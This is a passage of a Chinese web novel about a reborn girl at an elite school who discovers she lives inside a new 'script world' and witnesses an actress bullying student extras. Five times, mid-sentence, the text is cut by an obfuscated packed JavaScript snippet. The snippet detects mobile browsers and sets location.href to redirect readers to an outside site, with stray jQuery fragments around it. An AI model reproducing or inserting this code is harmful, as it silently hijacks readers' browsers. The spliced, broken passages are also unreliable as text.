“有次大伯母在家里举办宴会,邀请了很多政界二代想引介给阿灵哥,但阿灵哥不知怎么回事那天没有出席,大伯母等宴会散席后特意没打招呼就去了竹园,正巧看见阿灵躺在床上看漫画。大伯母气不打一处来,哭着闹到了外公那里去,责怪阿灵哥宁愿在家里看漫画也不去赴宴,还说阿灵哥分明就是故意想让她颜面尽失的。” 姜花衫皱眉,“什么时候的事,我怎么不知道?” 傅绥尔,“那段时间你正好去小沈园写生了。” 姜花衫表情一言难尽,“那后来呢?” “后来?后来大伯母当着大家的面把阿灵哥看的漫画拿给了外公,外公只看了一眼,就打电话给大舅舅,让他把大舅妈领回去。” 姜花衫忽然觉得拳头硬了,岂有此理,沈归灵脑子是计算机吗? 那画里记载的都是他被欺负的日常,爷爷看到那样的内容,哪还能听进姚歌说一句沈归灵不好?更别提老爷子如果知道这幅画是她画的,对里面的内容会有多坚信不疑。 狗东西! 一本画册算是被他玩明白了。 【叮咚——】 这时,两人手机同时一震。 【沈归灵:@花儿为什么这样红,爷爷,衫衫她们饿了,我们先去吃饭再去医务室。】 姜花衫一脸嫌弃,刚抬头,沈归灵拿起手机对着她咔嚓捕捉了一张,顺手就发到了群里。 【花儿为什么这样红:@沈归灵,大拇指表扬.jpg】 【花儿为什么这样红:@沈清予,你看小花儿的眼神都被你打呆了,你小子手怎么这么欠?再加两亩地。】 【沈清予:?】 姜花衫呵呵一笑,借刀杀人他也玩的很6啊。 * 食堂五楼的环境相对隐私性更好,因为这里常年被顶级家族的少爷小姐霸占,一般人不敢轻易越界。 正是因为面积大,人又少,拍摄剧组特意和学校商量在五楼搭设场景。 眼下导演组正在确认机位,姜花衫一行人进入餐厅时,负责场记的工作人员还以为是剧组从哪挖的新人演员,眼睛都看直了。 傅绥尔按照手机提示找到了自己的定位,餐厅有服务专员,立马把提前准备的菜端了出来。场记的工作人员这才反应过来竟然不是演员,是真正的学生。 五楼的用餐区很大,拍摄也就用了A区,所以并不影响另外三个区域的使用。 姜花衫和傅绥尔刚入座,就发现对面楼上有人在跟他们打招呼。 关鹤已经换了一套黑色私服,脖子上还挂着他的军用望远镜,一只手吊儿郎当撑着楼上的玻璃,另一只手正热情朝他们打招呼。 傅绥尔皱眉,“怎么他们也在?周宴珩不是一般不来学校餐厅吃饭的吗?” 楼上区域属于C区,周宴珩和一群少爷小姐占了大片区域,也不知是刻意避开拍摄,还是为了在上面看热闹。 因为关鹤的原因,同伴的一群人里也发现了楼下女娲炫技桌。 姜花衫一双颠倒众生的桃花眼,虽然因为年纪小美貌还没脱开稚气,但只要见了她就忍不住还想再看一眼。 可就算是站在这样的美人胚身侧,沈归灵也依旧是独一份的存在。 他就像被春雨滋润的四月,既有春光旖旎的前奏,又有夏日灼目的后调,越是矛盾越是着迷。 “阿鹤哥你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064554|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么呢?沈归灵不是被你吓的躲去美联高做交换生了吗?怎么提前一学期回来了?” 关鹤懒洋洋,“谁管他啊?” 男生会意,若有所思看着座位上的姜花衫。 感觉到对方不怀好意的窥探,傅绥尔有些不高兴,朝姜花衫使了个眼色,“关鹤一直在看你,他什么意思?是因为校内网的匿名贴想找你麻烦吗?” 姜花衫笑了笑,朝服务员招手,“你好,麻烦你帮我把这个送给楼上那个带望远镜的,哦,还有这个小纸条。” 服务员回头看了看楼上的男生,默默接过姜花衫手里的汤盅,好好好,我也是你们play的一环是吧? “阿鹤哥,人家给你送东西来了。” 男生一调侃立马引起了座位上人的注意。 傅潇潇也在其中,她一向看不惯姜花衫,自然不会错过在大众面前看她笑话的机会。 “阿鹤哥,姜花衫给你送了什么?告白信吗?给我们看看?” 傅潇潇这么一起哄,周围的人立马跟着叫嚷起来。 关鹤倒没这么自恋,他跟那小丫头才见了几次面,而且这丫头还有男朋友怎么会给他示好? 但是服务员东西和纸条都送到面前了,她不是示好又是什么?难不成是威胁? 周宴珩坐在中心位,淡淡端起一杯水。 关鹤一脸疑惑揭汤盅,顿时,脸色大变! 又粘又稠的白米粥。 死去的记忆忽然攻击,早上那一场米汤雨历历在目,关鹤顿觉胃里一片翻江倒海。 他忍着恶心打开纸条,里 面只有一句话,简单扼要。 ——“再敢看,我就让我爷爷相信,是你掰弯了沈清予。” “!” …… 第202章 序章 不是告诉‘告诉我爷爷’,而是‘让我爷爷相信’,谁能懂这话的威胁含金量有高? 校内贴吧热度再高,顶多也就是让沈清予和关鹤被笑话一段时间,但若传到家族长辈的耳朵里,这件事的意义可就不一样了。 沈家老爷子要真相信了是关鹤把沈清予掰弯了,关鹤不仅会被沈家追杀,连关父也不会轻饶他。 不止! 关鹤没忍住打了个冷颤,还有沈清予那条疯狗! 他以后的日子只怕会永无宁日了。 沈家这小丫头片子,心思怎么这么歹毒?!今早上也是,真差点把他恶心坏了,第一次觉得自己都不干净了。 “阿鹤哥,姜花衫写的什么啊?难不成真是告白?” 傅潇潇见关鹤突然不说话,故意抬高了声调。关鹤没搭理她,傅潇潇又刻意凑近,伸着脖子想纸条上写了什么? 关鹤脸色蜡黄,把纸条折好塞进口袋,目光不善斜睨傅潇潇,“你怎么这么闲?” 傅潇潇瞪了他一眼,委屈巴巴看向周宴珩,“阿珩哥,你看他这态度。” 周宴珩垂眸喝了一口水,扯着湿润的嘴角笑了笑,“他就这样,你惹他干什么?” 傅潇潇也不好再说什么,乖乖坐回座位,一脸期待看着周宴珩,“阿珩哥,开学典礼都过了,你的邀请函什么时候发啊?” 周宴珩哪会管这种小事?坐的最近的男生立马接话,“学妹,按规定都是一个星期左右。” 什么学妹,傅潇潇白了男生一眼,又继续跟周宴珩搭话,“阿珩哥,一个星期也太久了,而且刚开学,大家都没收心,能不能快点啊?不然真的要被无聊死了。” 男生有些无语,但碍于傅潇潇的身份只能继续解释,“普通的都准备好了,但有几张限定卡都是根据个人身份定制的,所以需要的时间久了一点。” 傅潇潇对男生一直插话十分不满,“烦死了!你没看见我是在跟阿珩哥说话吗?” 这话一出,周围的同学都笑出了声,被训斥的男生一脸晦气换了个座位。 傅潇潇任性惯了,丝毫不觉得有什么,依旧我行我素拉着周宴珩说话,期间但凡有女生接话,她都毫无意外赏人家一个大白眼。 * B区。 没有了关鹤的挑衅,姜花衫三人终于可以安静吃饭了。 傅绥尔一脸好奇,“衫衫,你到底跟关鹤说了什么?他那个人可不好惹,怎么就这么轻易妥协了?” 姜花衫给傅绥尔夹了个狮子头,“有什么不好惹?越是不好惹的人越怕别人抓住他的痛点,痛点一旦抓准,再不好惹也变好惹了。” 这些财阀少爷、千金自小受到的教育就高人一等,他们可能会存在或多或少的人格缺陷,但他们里面绝没有真正意义上的草包,甚至在很多高阶领域,他们的洞察力和决策力都远胜于普通人。 失智的普通人在面对致命威胁时,最常见的反应就是先挑衅威胁者,非得真的受到了伤害才知道害怕。 但聪明的权谋者会直接跳过试探这一步,因为他们已经在脑子里推演了剧情的走向,他们最擅长以结果选择应对措施。 就比如关鹤,他是个极端的享乐主义者,他的一切出发点都是为了让自己享受到乐趣,如果有件事让他觉得麻烦且会让他从中失去寻找乐趣的快感,他自然就不会冒险了。 三年前的跌跌撞撞,只是姜花衫对这个世界的初级探索,而现在的她已经有了拆解和分析这个世界的能力。 这个世界的剧目一开始就被设定好了,所以她只能跟着两个主角团一起熬到长大,也就是说,这期间,赵棠被逼跳楼,还有她和傅潇潇与周宴珩之间的牵扯极可能会继续上演。 可拯救爷爷和沈娇才是她的终极目标,所以,权衡利弊后,姜花衫做出硬刚一切校园暴力的决定。 因为关于欺辱,她更是深谙一点,忍一次就会有无数次,刚一次可以杜绝无数次。 傅绥尔咬着狮子头,陷入了深思。 沈归灵倒是没什么特别反应,慢条斯理吃东西,优雅地不行。 姜花衫用筷子串了个狮子头,一边咬一边看着对面的剧组工作。 导演正在跟演员讲戏,场记正在布置场景,群演们被安排在特定的位置,就连镜头推移的路线都是提前规划好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064555|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 这就是剧本。 每一个人都在自己的框架里,说着提前准备好的对白。 每一场戏都是已知结局后,再排演命运轨迹。 这就叫既定,因为这里面的变数都被人为剔除了。 等等! 姜花衫眸光猛然颤动,有什么从脑子里一闪而过。 如果,这里面突然出现一个变数呢? 正常人的思维方式一定是,那么这个变数一定可以改变结局,就像她现在的处境一样。 她重来一世,手握剧本,她就是变数,所以她一直觉得改变剧情就一定可以改变爷爷的死局。 但是…… 她刚刚忽然有了另外一个脑洞。 如果…… 她这个变数也是剧情的一部分呢? 之前书灵说过,她所在的剧目 世界叫《纵横豪情》,那本书说的是沈家最优秀的两个继承人的爱恨情仇,可是…那本书里并没有一个觉醒意识的姜花衫。 姜花衫轻轻点了点额头,眼中满是不敢相信。 如果换一个思路,存在即合理,那么她作为变数又能合理存在的解释就只有一个了! 这里不是《纵横豪情》,而是新的剧目世界! 【叮咚——】 【成神之路曲折且艰辛,欢迎来到剧目世界《我不过作作妖,怎么就成了白月光?》】 识海中,深不见底的幽幽夜幕斗转星移,垂天的剧目之门忽然爆发出一阵前所未有的绿色强光,缠绕在书封上藤曼一边舒展一边往四周收拢,泛黄的斑驳书面上逐渐显露出一行烫金花体文字。 《我不过作作妖,怎么就成了白月光?》 【咔——】 带着锈斑的锁扣自动划落,剧目之门缓缓翻开第一页。 序章: 【凡是过往,皆为序章。】 目录: 第一章:我有病! 第二章:热搜 第三章:两个男主 …… 第二百零二章:序章。 …… 第203章 再遇萧澜兰 这是什么鬼?! 姜花衫手一抖,筷子从手心滑落,红烧狮子头从桌面滚到了地上。 难怪! 她总觉得剧情卡的不上不下的,明明她已经提醒了爷爷傅家的阴谋,明明这一世傅绥尔已经脱离了傅家的掌控,就这么大的偏差怎么主线剧情只偏离1%? 现在总算是弄明白了,这里根本不是原来的《纵横豪情》!所以,这些她以为的偏差剧情,其实就是这个世界的既定剧情,甚至连纠正更新同步的章节也是剧情里的一部分。 这说明什么? 说明她蹦蹦跳跳了三年其实还在剧本中。 “衫衫?你怎么了?” 姜花衫的动静引起了傅绥尔和沈归灵的注意,她的手在抖,而且抖得很厉害,完全克制不住。 傅绥尔有些担心,正要去摸她的手却被沈归灵抬手拦住了。 沈归灵抬眸扫看姜花衫的眼睛,她的眼尾呈上扬趋势略带锋利,眼睑微垂颤动隐有破茧成蝶之势。 沈归灵难得闪过片刻怔忪,不过威胁了一个关鹤,就值得她这么兴奋? 姜花衫完全沉醉在自己的世界里,嘴角慢慢扯出一条意味深长的弧。 凡是过往,皆为序章。 这是在告诉她,放下一切,重新出发,眼下这本《白月光》才是她真正的起点。 这对别人来说可能是惊喜,但对她来说是嘲讽。 原以为自己跳出了剧情的控制才有了今天的局面,但没想到,原来跳出剧情控制也只是剧本里的一环。 成神之路?说的好听,但其本质也只是受剧情摆布的傀儡而已。 就像恶毒炮灰和白月光女主,其本质也只是一个被标签定义的角色。 从这一刻,救爷爷已经不是她的终极目标了,救自己才是。 这个世界不需要神,她也不需要。 似乎是感觉到了姜花衫心中的杀意,剧目之门立马合上书页,一阵刺目强光散开直接把她的意识踢出了识海。 姜花衫只觉脑子一嗡,脑袋突然失重,对着大理石的台面猛地砸了上去。 “砰——” 一声巨响吓得在场所有人一惊! 沈归灵脸色微变,傅绥尔大惊失色,两人一左一右赶紧扶起姜花衫。 “衫衫,你没事吧?” “嘶!”姜花衫感觉头都要炸开了,闭眼捂着要炸裂的头,咬了咬牙,“我没事。” 沈归灵低下头,凑近看了看她的额头,“都肿了,我们去医务室。” 姜花衫一把推开他,强撑着意识,“我没事,我不去,我还没吃饱了。” 好像是为了证明给谁看,她一把拿起桌上的筷子,恶狠狠叉了个红烧狮子头,张嘴咬了小半口。 “……”沈归灵表情怔愣,轻轻咳了一声,“你还是去看看吧?” 姜花衫摇头,“都说了不去!我脑子好的很。” 刚刚还脑洞大开发现了这个世界的真相。 狮子头太咽,她又顺手端起桌上的水喝了半杯。 沈归灵,“……” 傅绥尔可没沈归灵表现得这么淡定,两只眼睛扑闪扑闪在两人之间游弋。 衫衫刚刚不仅用了阿灵哥的筷子还喝了他的水?还敢说他们俩关系不好? 沈归灵不用看也知道傅绥尔在想什么,但他懒得解释,顺手从姜花衫手里拿过杯子,又顺手递过她原来那杯。 姜花衫看也没看,顺嘴喝了一口。 “嗯?”傅绥尔见状表情大惊,眉头倒竖,严肃地快能夹死一只苍蝇了。 就在这时,门口传来一道气焰嚣张的女高音。 “准备好了吗?我可说好了,我们兰兰的时间可是很宝贵的,待会儿的拍摄要是还像上午那样不在状态,今天我们可就不拍了。” 话音一落,就看见萧澜兰被三四个助理众星捧月请了进来。她穿着一套宽松的运动校服,但校服显然精心改动过,腰臀线条随着她每次摆臂都格外瞩目。 三年时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064556|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,萧澜兰愈发明艳动人,她一出现就衬得其他人都黯淡无光。 萧澜兰虽然不是育才的学生,但顶着名流圈层第一美人儿的头衔,大家对她也不陌生。是故,她一进场,三楼许多贵族少爷都跑到玻璃栏杆前打招呼。 见此情景萧澜兰也颇为得意,故作矜持摆手回应,等目光扫到人群里的周宴珩,脸上的笑容才明媚了几分。 周宴珩也是来者不拒,感受到萧澜兰的秋波甚至还刻意偏头朝她笑了笑,看得一旁的傅潇潇醋意大发,直接对着萧澜兰冷嘲热讽,“自降身份抛头露面,真不知道她得意什么?” 这话原本是说给周宴珩听的,可她说完以后周宴珩没半点反应,傅潇潇只觉一拳打在了棉花上,自己快要憋出内伤了。 萧澜兰习惯了这种被大众视线追逐的感觉,得意忘形之下也就没注意B区角落还坐着三两闲人,她转头看向身后,言语间多是趾高气扬,“枝枝,你怎么不进来?” 被她这么一提醒,大家才发现门口还站着一个人。 沈眠枝低着头显得有些局促,她刚刚就站在门口,周宴珩和萧澜兰眼神里的暧昧她一眼就看懂了。 不知道怎么回事?沈眠枝忽然感觉心里空落落的,好像丢了魂一样。 萧澜兰故作亲昵挽着沈眠枝的手,笑着向身边人介绍,“这是我妹妹,学校说会派一位学生会主事协助我们这次的拍摄,里面正好有我妹妹,我就把她请过来了。” 导演们听罢,立马放下手里的活上前打招呼。 萧澜兰随手把助理手中的水杯和扇子拿给沈眠枝,“你之前不是一直说想看我演戏吗?今天正好有机会,待会儿你就在旁边看着,有什么事我叫你。” 看似亲昵,实则是把沈眠枝当成了使唤丫环。 傅绥尔原本还在生气姜花衫怎么跟沈归灵天下第一好了?目睹眼前这一幕,仇恨值瞬间转移。 “岂有此理。” 正准备起身,姜花衫拍了拍她的手,“稍安勿躁。” …… 第204章 真千金受辱 傅绥尔虽然不明白姜花衫为什么要阻止她,但她还是乖乖坐了回去。 姜花衫心平气和给她倒了一杯水,“放心吧,大庭广众之下萧澜兰不会做什么,沈眠枝要不想被当丫环使唤直接拒绝就是。这里都是摄像机,你要是强行出头被他们添油加醋写点什么,讨不到半点好不说还容易引火上身。” 傅绥尔一点通,但眼神里还是有些迟疑。 姜花衫放下筷子,“自甘堕落者不救。” 沈归灵看了一眼她手中的筷子,把碗往前推了一寸,默默拿起湿巾擦嘴。 另一边,萧澜兰果真如姜花衫说的那样,把东西交给沈眠枝后就进入了工作状态,期间偶然喝口水也只是无伤大雅的使唤,而沈眠枝对此也并没有表现出什么反感。 既然一个愿打一个愿挨,旁人再插手就显得多管闲事了。 傅绥尔看着气不打一处来,扔了筷子,“走吧,我们去医务室,这里是一分钟都待不下去了。” 三人刚起身,苏韵和一群德才的学生从大门走了进来。 姜花衫神情微动,不着痕迹坐了回去。 沈归灵,“……” 副导演看见她们立马招手示意,“你们来的正好,上午跟你们说的都记下了吧?待会儿把状态调整好啊,我们争取一条过。” 苏韵和同行的几个女生尴尬笑了笑,一开始摄影组说只有几个简单的镜头,而且还有酬劳她们才同意出演的。 没想到萧澜兰来了之后各种挑毛病,她们又不是专业演员,一上午被刁难心里都不好受,这会儿就是想来辞演的。 女生们年纪不大没什么经验,面对副导演的施压一时不知怎么办? 苏韵知道她们是不敢开口,犹豫再三走到副导演跟前小声说道,“您好,是这样,经过再三思虑,我们觉得自己达不到拍摄的要求,所以……” 副导演皱眉,拉高了声调打断苏韵,“你们这算怎么回事啊?我这场景、演员都到位了,你们说不演就不演?这不是在开玩笑吗?” 苏韵愣了愣,上午萧澜兰刁难她们的时候副导演不是全程都在旁边看着吗?他怎么能说出这种话? 同行的女生立马围了上去,大家七嘴八舌表示自己的不满。 “我们就是打酱油的,我们不拍又不会影响什么!” “是啊,而且之前你们明明说就是简单几个镜头,可是……上午,我们一个同学被打了几十个耳光才被叫停……” 副导演眼皮一跳,再次出声打断,“这是在拍电视剧哪能随便?那不是因为剧情效果吗?再说,剧组不是也给那位同学包了红包了?你们现在说这些是要闹事吗?” 苏韵,“我们不是闹事,就是来告知一声我们不演了。” 萧澜兰双手抱胸,慢步走上前,上下打量了苏韵一眼,“又是你?怎么?因为你朋友的事故意给我们找茬?” 苏韵低着头,“不是,我们真的演不好,我们不会欺负人。” “嗤!”萧澜兰冷笑了一声,“讽刺谁呢?” 苏韵小心退了一步,“我不是那个意思,我们还在读书,没有接触过表演,所以不太会这些。我们之前以为就是坐在那当个背景板,所以才……” 萧澜兰垂眸看着指尖,“演不好霸凌者,那被霸凌的总会演吧?” 苏韵极力保持冷静,“对不起,萧小姐,我们不想演。” “好吧。”萧澜兰无所谓耸了耸肩,转身看了副导演一眼。 副导演会意,立马摆出一副公事公办的模样,“既然如此,那就赔钱吧!我们剧组是大制作,一天的场景和人员工资开销不小,你们几个平摊。” 女生们一愣,顿时急了。 “你们也太不讲道理了,凭什么啊?” 副导演,“凭什么,就凭早上你们签的那份合同。” 萧澜兰已经不是第一次利用拍戏欺辱同期拍摄的演员了,圈里知道她性格的都躲着她,只要有她在,女二的戏份不是被删减成炮灰就是服化道几乎沦为路人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064557|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但随着她现在名气越来越大,国民形象越来越好,家里和公司都担心她因此翻车,便明令禁止萧澜兰再欺负同剧组演员,萧澜兰拍戏无聊,渐渐就养成了喜欢刁难群演的恶习。 群演没有根基,也没有曝光度,就算被踩死了也掀不起一点水花。没有代价,萧澜兰便愈发肆无忌惮。 她有资本又有流量,大家也只能忍着,有些剧组甚至还会提前物色群演供萧澜兰欺辱。 如苏韵她们这样的穷学生,就是剧组提前物色的玩具,所谓合同也是提前设好的局。 女生们心灰意冷,万般无奈只能继续参演。 副导演立马表现出容人之量,同意她们更换角色。 萧澜兰跟导演一起坐在摄像机前观摩大家的表演。 这场戏很简单,苏韵扮演的女生不小心弄脏了霸凌女的名牌包,这个角色不敢反抗,所以没有台词,只需要站在原地挨骂等待女主出来救场就可以了。 扮演霸凌女的是演艺圈新人,虽然是新人但演技还是在线,所以这场一条就过了。 萧澜兰看了却表示不满意,“导演,我觉得这里 的冲突可以再强烈一点,只有把弱者的无助放大才能显得女主的救赎是有意义的,你觉得呢?” 导演听出了她这是要临时加戏的意思,与副导演交换了个眼色后立马点头附和,“我刚刚也总觉得差点意思,那兰兰觉得怎么让矛盾冲突变大啊?” 萧澜兰,“您是导演,怎么来问我?” 导演呵呵笑了笑,转头威风凛凛,“道具组,准备一碗汤面。那个新人,刚刚那条重新来过,冲突不够!你到时候直接把汤面泼到女同学的脸上逼她认错。” 新人演员愣住了,“导演,真泼假泼?” 导演,“就一碗面,有什么真泼假泼?” 苏韵指尖微微颤抖,想说什么,抬头望着眼前乌泱泱一群人又咽了回去。 都是吃人的猛兽,谁又会真的在意她的死活呢? …… 第205章 爱而不得白月光 道具组重新准备。 导演:“Action!” 新人演员按照台词一番羞辱后,拿着一碗汤面对着苏韵的脸正面泼了上去。 导演,“过!” 新人演员暗暗舒了一口气,正准备上前安慰苏韵,耳边就传来一阵嚣张至极的女音。 “导演,我觉得冲突还是不够,不够细节啊。那个女同学,汤泼上去一点反应都没有,这不是弱者的表现。还有道具的细节也不到位,我觉得用热汤效果比较好。另外,为了体现出霸凌者的可恶,我觉得可以再加一场下跪道歉的戏。” 苏韵眼睑颤动,慢慢扶正脸上的眼镜,当时油汤直面而来,她闭眼承受了一切,现在眼镜上还挂着油腻腻的面条。 可就算如此狼狈也没有让霸凌者停手。 新人演员有些不忍,想说什么最后也只能选择明哲保身。 导演看了萧澜兰一眼,“那个,道具组怎么回事?这点小事都做不好?化妆老师,带这位女同学下去补补妆。” 工作人员立马上前拉苏韵,苏韵没有反抗,乖乖跟着。 这些霸凌者没有同理心,越反抗他们只会越欺负你。早上,她因为看不惯萧澜兰借着教学名义殴打赵棠出面阻止,下午,她就被萧澜兰记恨上了。 “等一下。” 化妆人员正准备带苏韵离开,一直没有存在感的沈眠枝突然说话了。 傅绥尔眉梢微挑,默默坐了回去,刚刚她的水杯都举到半空了,如果沈眠枝那句等一下再慢一秒,杯子可就对着萧澜兰砸过去了。 萧澜兰皱眉,侧身看向沈眠枝,嘴角看着带笑,但眼神已经冷了下来,“枝枝,怎么了?” 沈眠枝拿着伞和水杯挡在苏韵面前,眼神清冷看着导演,“她们不演了,你的损失我来赔。” 导演懵圈了,这不是萧澜兰的妹妹吗?怎么跑来拆自己姐姐的台? 萧澜兰嘴角的笑容凝固,“枝枝,你现在把人带走会耽误我们的拍摄进度的。” 沈眠枝,“她们是学生,没办法达到剧组的要求。而且你们的拍摄已经严重影响到了我校的学生,我建议你们剧组先开会整顿,如果不能改善,我会向学校递交报告要求取消对你们的拍摄支持。” 导演愣住了,连忙站起身,“这……这话说的…” 他还没弄清是沈眠枝什么来头,所以暂时不敢乱说话。 沈眠枝转头看向德才的女生们,“你们先送她回教室吧,派一个人把你们的合同收集好送过来。” 女生们是知道沈眠枝的,她背景强大且乐善好施,见她出面大家热泪盈眶立马有了主心骨,拉着苏韵一起离开的食堂餐厅。 萧澜兰原本叫沈眠枝来,是想踩着她上位的,她就是想让育才的人看看,沈家嫡小姐也只配给她萧澜兰端水扇风,没想到现在偷鸡不着蚀把米。 一时气极,萧澜兰也没忍住直接站起身,点着沈眠枝的肩膀,“你什么意思啊?在我面前摆你沈家大小姐的谱?你是不是有点太得意忘形了?需要提醒你是什么……” 话音未落,一只修长的大手挽住沈眠枝的胳膊将她拖到自己身后。 “她说的没错,你们已经严重影响我们学习了。” 萧澜兰错愣,难以置信看着眼前的少年。 沈眠枝心跳不止,听见这道声音时她甚至都不敢抬头,傻傻看着扣在她手臂上的那只大手。 “周宴珩,你帮她说话?” 周宴珩笑了笑,“有什么问题吗?她可是我们学校的学生会主席,连我都要听她的。” 沈眠枝错乱的心停拍了一秒,猛地抬起头看向眼前的少年,她眼里有光亦有炽热。 萧澜兰皱眉,眼神瞬间沉了下来。 姜花衫摇摇头,她就知道,该来的还是会来,这么明目张胆的偏袒对患得患失的沈眠枝来说无异是神明的救赎。 这个世界不是《纵横豪情》,但又有《纵横豪情》的剧情,衍生剧目? 有周宴珩出面,萧澜兰也不好撕破脸,强行收敛情绪笑了笑,“行!我会跟剧组打好招呼的。” 周宴珩点头,在众目睽睽之下,挽着沈眠枝的手走出了餐厅。 萧澜兰咬牙看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064558|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人的背影,脸上笑容逐渐僵硬。 最气的可谓是傅潇潇,原以为最大的竞争对手是苏妙,没想到半路杀出个沈眠枝? 但她也不是吃亏的主,转头把气撒到了萧澜兰身上,“还以为你多有本事?想着法勾引阿珩哥,结果还不如一个沈眠枝。” “你说什么?!”萧澜兰原本就游走在怒火边缘,听了这话当即没忍住推了傅潇潇一把。 傅潇潇也不是好惹了,反手打了回去。 两人你来我往眨眼功夫就打了起来,两边愣住了,赶紧上前劝架。 这场撕逼大戏看得傅绥尔一头雾水,“沈眠枝和周宴珩什么时候关系这么好的?” 姜花衫摇摇头。 沈归灵站起身,“走吧,去医务室。” “……”姜花衫皱眉斜乜他,“你怎么总记着这件事,都说了我没事,怎么?真把我当工具人了?还想到去爷爷那收获一波好评?” 傅绥 尔拉了拉姜花衫的胳膊,“还是去吧,你额头都长角了。” 她一般不帮外人说话,除非实在看不下去。 “……”姜花衫抬手摸了摸自己的额头,“嘶~~狗剧目!” 沈归灵,“你说什么?” 姜花衫摇头,“没说什么,走吧。” A区闹得沸沸扬扬,三人事不关己大摇大摆出了食堂。 姜花衫忽然想到什么,拉住傅绥尔,“绥尔,你觉得什么是白月光?” “白月光?”傅绥尔转头看向沈归灵,“我不知道,你应该问阿灵哥,男生们不都有自己的白月光吗?” 姜花衫转头看向沈归灵,“沈龟灵,你有白月光吗?” 沈归灵,“没有。” 傅绥尔顿然来了兴趣,一脸八卦,“真的吗?阿灵哥你可不许说谎哦,这么多女生喜欢你,你就没有一个喜欢的?阿笙姐姐呢?她不算吗?” 姜花衫,“就是就是。” 沈归灵脚步一顿,撩眸扫了两人一眼,眼角温柔:“不算,白月光是爱而不得的人,我没有。” …… 第206章 我可以保护你 瞧瞧!要不要听听他在说什么? 白月光是爱而不得的人,我没有! 潜台词就是:老子不会爱而不得,爱!就会得到。 姜花衫是见识过沈归灵撕掉束缚后的手段的,所以丝毫不惊讶他会有这种认知,能在阶级等级如此森严的世界背景下走逆袭剧本,这个人的内心一定稳定且强大。 傅绥尔弱弱举手,表示有不同见解,“阿灵哥,你千万不要这么想,不然以后很有可能会被打脸的。” “就是!”姜花衫看不惯沈归灵这损样,老气横秋,“年轻人不要这么心高气傲,这世间千千万万人,你真以为自己有本事让所有人都喜欢你?” 沈归灵笑了笑。 傅绥尔摆摆手,“我不是这个意思,我的意思是,阿灵哥你有没有想过,万一你喜欢的人死了呢?她也喜欢你,但你们就是无法相守呢?电视剧和小说里的白月光一般都是这种。” 沈归灵微怔,不知想到了什么,眼角的温柔一下就消散了。 但也只是一瞬间,他立马扬起嘴角,“以后这种电视剧和小说还是少看,不讲逻辑。” 傅绥尔嘿嘿笑了两声,“那都是我以前看的,不知道现在小说套路更新了没有?” “应该……要更新了吧。”姜花衫表情古怪,欲言又止看着傅绥尔,“你说一般小说里的套路,白月光都会早死?” 傅绥尔点头,“小说套路嘛~月光皎洁无暇,可世间哪有不被蹉跎的感情?白月光之所以永远被人惦记,就是因为她在最美好时幻灭,此后纵是人间万万人像她,但终不是她,BE美学,替身文学都是这么演化来的。” 姜花衫听得眉头都快拧成麻花了,“就……没有不死的?” 傅绥尔想了想,“有吧,但这种通常白月光都会变成后来者的对照组,变成炮灰。所以,我个人觉得还是死了好,毕竟没有什么感情可以跟死人争。” 姜花衫乜了她一眼,“我不要你觉得,我要我觉得。” 傅绥尔愣了愣,“那你觉得什么?” 姜花衫抬头看了看天,“我觉得晦气。” 当时剧目之门出现的名字是什么啊?《我不过作作妖,怎么就成了白月光》? 那她是谁的白月光啊?不会真是早死剧本吧? 